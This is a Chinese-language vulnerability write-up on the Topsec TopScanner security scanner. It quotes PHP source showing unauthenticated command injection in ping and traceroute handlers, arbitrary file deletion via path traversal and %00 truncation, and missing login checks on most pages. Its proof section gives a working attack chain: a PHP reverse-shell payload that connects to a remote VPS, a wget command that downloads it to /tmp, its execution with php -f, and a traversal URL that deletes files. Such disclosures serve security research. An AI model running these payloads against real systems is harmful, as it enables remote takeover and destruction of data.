天融信TopScanner多处高危%ignore_a_1%终结大礼包,命令执行,任意文件删除,全局设计缺陷等,均无需登录,成功shell。
0x01 多处命令执行漏洞
文件direct/polling/CommandsPolling.php
include_once 'command/CCmdsPolling.php'; $command = isset($_POST['command'])?$_POST['command']:""; $saveFile = isset($_POST['filename'])?$_POST['filename']:""; $cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:""; $cmdParam = trim($cmdParam); $faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") )); //command is null if(empty($command)){ echo $faultStr; exit(); } //exec and get result $result = array(); $pollingObj = new CCmdsPolling(); if($command == "ping") { $result = $pollingObj->getPingInfo($cmdParam, $saveFile); } else if ($command == "traceroute") { $result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile); } else { echo $faultStr; exit(); }
第一处命令执行:
当$command == "ping"时,$cmdParam和$saveFile进入getPingInfo函数
跟进文件command/CCmdsPolling.php
function getPingInfo($pingIp, $saveFile) { $info=array(); if(empty($saveFile)) { $saveFile = self::ping($pingIp); //第一次发送命令,执行命令,生成需要的文件 }
当$saveFile等于空时,继续跟进ping函数
function ping($ip) { if(empty($ip)) return ""; $filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt"; if($ip && $filename) { if(file_exists($filename) ) { unlink($filename); } $cmd = "ping -c 5 $ip > $filename 2>&1 &"; exec("$cmd "); } return $filename; }
注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
继续跟进getClientAddr函数
function getClientAddr(){ unset($onlineip); if($_SERVER['HTTP_CLIENT_IP']) { $Onlineip=$_SERVER['HTTP_CLIENT_IP']; }else if($_SERVER['HTTP_X_FORWARDED_FOR']) { $Onlineip=$_SERVER['HTTP_X_FORWARDED_FOR']; }else { $Onlineip=$_SERVER['REMOTE_ADDR']; } return $onlineip; }
这里直接获取ip,然后返回,无视此系统的GPC=on
最后$filename可控,进入exec中被执行
当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述
第二处命令执行
当$command == "traceroute"时,$cmdParam, $saveFile进入getTracerouteInfo函数
跟进getTracerouteInfo函数,文件command/CCmdsPolling.php
function getTracerouteInfo($address, $saveFile) { $info=array(); if(empty($saveFile)) { $saveFile = self::traceroute($address); //第一次发送命令,执行命令,生成需要的文件 }
跟进traceroute函数:
function traceroute($address) { if(!$address) return ""; $filename = "/tmp/". self::getClientAddr()."traceroute".$address.".txt"; if($address && $filename) { if(file_exists($filename)) { unlink($filename); } $cmd = "traceroute -m " . self::trace_max_hops . " -n $address > $filename 2>&1 &"; exec("$cmd "); } return $filename; }
注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
继续跟进getClientAddr函数
function getClientAddr(){ unset($onlineip); if($_SERVER['HTTP_CLIENT_IP']) { $Onlineip=$_SERVER['HTTP_CLIENT_IP']; }else if($_SERVER['HTTP_X_FORWARDED_FOR']) { $Onlineip=$_SERVER['HTTP_X_FORWARDED_FOR']; }else { $Onlineip=$_SERVER['REMOTE_ADDR']; } return $onlineip; }
这里直接获取ip,然后返回,无视此系统的GPC=on
最后$filename可控,进入exec中被执行
当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述
0x02 多处任意文件删除漏洞
第一处文件删除:
文件/task/webapi/update.php
require_once("datalayer/CDatalayer.php"); include_once "base/CShellExec.php"; $shell = new CShellExec(); $dl = new DataLayer(); $cn = $dl->connectDB(); $dl->queryDB($cn,"use scandb"); $dl->queryDB($cn,"delete from t_pluginadding"); $success = false; $result = $dl->queryDB($cn,"select * from t_SystemProperty where System_Property='vul_current_version'"); $row = $dl->fetchArray($result); $vulCurrentVersion = $row["System_Value"]; $dl->queryDB($cn,"update t_SystemProperty set System_value='$vulCurrentVersion' where System_Property='vul_old_version'"); set_time_limit(0); if($_GET["package"]) { $filename = $_GET["package"]; $tmpFilename = "/tmp/update_".time().".des"; $filename = trim($filename,"\"); $filename = "/tmp/".$filename; $cmd = "/usr/sbin/openssl enc -des -d -a -in ".$filename." -out ".$tmpFilename." -pass pass:[email protected]"; $shell->Execute($cmd,"",true); $dirname = $tmpFilename.".dir"; mkdir($dirname,0777); } else { ...... } ...... unlink($filename); unlink($tmpFilename); system("rm -rf ".$dirname); echo $success; ?>
可以看到$filename = $_GET["package"];
然后进过一些操作后并没有exit
最后$filename进入unlink,导致任意文件删除
当然这里也是存在命令执行的,在$shell->Execute这里
因为已经有人提交了,就不在赘述了
第二处和第三处文件删除:
文件direct/polling/CommandsPolling.php
include_once 'command/CCmdsPolling.php'; $command = isset($_POST['command'])?$_POST['command']:""; $saveFile = isset($_POST['filename'])?$_POST['filename']:""; $cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:""; $cmdParam = trim($cmdParam); $faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") )); //command is null if(empty($command)){ echo $faultStr; exit(); } //exec and get result $result = array(); $pollingObj = new CCmdsPolling(); if($command == "ping") { $result = $pollingObj->getPingInfo($cmdParam, $saveFile); } else if ($command == "traceroute") { $result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile); } else { echo $faultStr; exit(); }
$cmdParam, $saveFile参数分别进入getPingInfo和getTracerouteInfo函数
跟进getPingInfo和getTracerouteInfo函数
function getPingInfo($pingIp, $saveFile) { $info=array(); if(empty($saveFile)) { $saveFile = self::ping($pingIp); //第一次发送命令,执行命令,生成需要的文件 } ...... function ping($ip) { if(empty($ip)) return ""; $filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt"; if($ip && $filename) { if(file_exists($filename) ) { unlink($filename); } $cmd = "ping -c 5 $ip > $filename 2>&1 &"; exec("$cmd "); } return $filename; } ...... function getClientAddr(){ unset($onlineip); if($_SERVER['HTTP_CLIENT_IP']) { $Onlineip=$_SERVER['HTTP_CLIENT_IP']; }else if($_SERVER['HTTP_X_FORWARDED_FOR']) { $Onlineip=$_SERVER['HTTP_X_FORWARDED_FOR']; }else { $Onlineip=$_SERVER['REMOTE_ADDR']; } return $onlineip; }
可见在getPingInfo函数中,然后当$saveFile为空时进入ping函数
然后在ping函数中:
$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
继续看看getClientAddr函数中,直接从$_SERVER中获取ip地址,然后返回
所以这里就无视GPC了,且此系统时GPC=on的
最后导致ping函数中的$filename可控,最后$filename进入unlink函数中
$filename的值可用%00截断,导致任意文件删除
第三处和第二处原理一样
在traceroute函数中的$filename可控,最后$filename进入unlink函数中
$filename的值可用%00截断,导致任意文件删除
0x03 全局设计缺陷
为什么叫全局,因为这是一个安全产品,说有功能都应该是登陆后操作
但是这里在对对应功能操作是,根本没有验证登录状态
所以无需登录就可操作全局页面功能
此系统是设有全局登录验证函数的:
如direct/polling/progressbarPolling.php文件中
if(!($userName = GetSessionVariable('userName'))){ //取得登录用户名 echo json_encode(array( 'type'=>'event', 'name'=>'np_probe_device_alive_event', 'data'=>false )); exit(); }
这里进行了登录状态验证,session中没有username即exit,看看GetSessionVariable函数
文件base/session.php
function GetSessionVariable($key) { return $_SESSION[netpower][$key]; }
从session中取userName得内容
但是95%以上的地方都没有使用这样的验证
如device/device_export.php直接导出设备信息
distribute/vuldetial.php所以插件漏洞信息
policy/param_export.php策略信息导出
task/task_export.php任务信息导出
等等
命令执行证明:
当command=ping,filename为空,cmdParam不为空
1、在vps上放置shell.php,内容为:
$sock=fsockopen("*.*.*.*",61234); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
2、利用这里的命令执行,下载shell.php文件到目标tmp目录下
wget http://*.*.*.*:8888/shell.php -O /tmp/shell.php
3、然后利用这里的命令执行,执行下载后的/tmp/shell.php
php -f /tmp/shell.php
4、成功反弹shell
当command=traceroute时同理
文件删除证明:
利用设计缺陷中的无需登录文件上传,上传一个文件上去
文件device/device_import.php
/* * 上传文件 */ $UploadAction=0; $TimeLimit=60; /*设置超时限制时间 缺省时间为 30秒 设置为0时为不限时 */ set_time_limit($TimeLimit); if(move_uploaded_file($_FILES["importUpload"]["tmp_name"],"/tmp/" . $_FILES["importUpload"]["name"])) { chmod("/tmp/".$_FILES["importUpload"]["name"],0777); echo &#39;{success:true, file:&#39;.json_encode(&#39;文件已经被存储到:&#39;.&#39;/tmp/&#39;.$_FILES[&#39;importUpload&#39;][&#39;name&#39;]).&#39;}&#39;; }else{ echo &#39;{faliure:true, file:上传出错!}&#39;; } set_time_limit(30); //恢复缺省超时设置 ?>
上传文件到tmp下:
成功上传:
发送请求:
**.**.**.**/task/webapi/update.php?package=../../../../../../../tmp/1
即可删除文件/tmp/1
成功删除
—-想了解更多的网站安全相关处理怎么解决关注<编程笔记>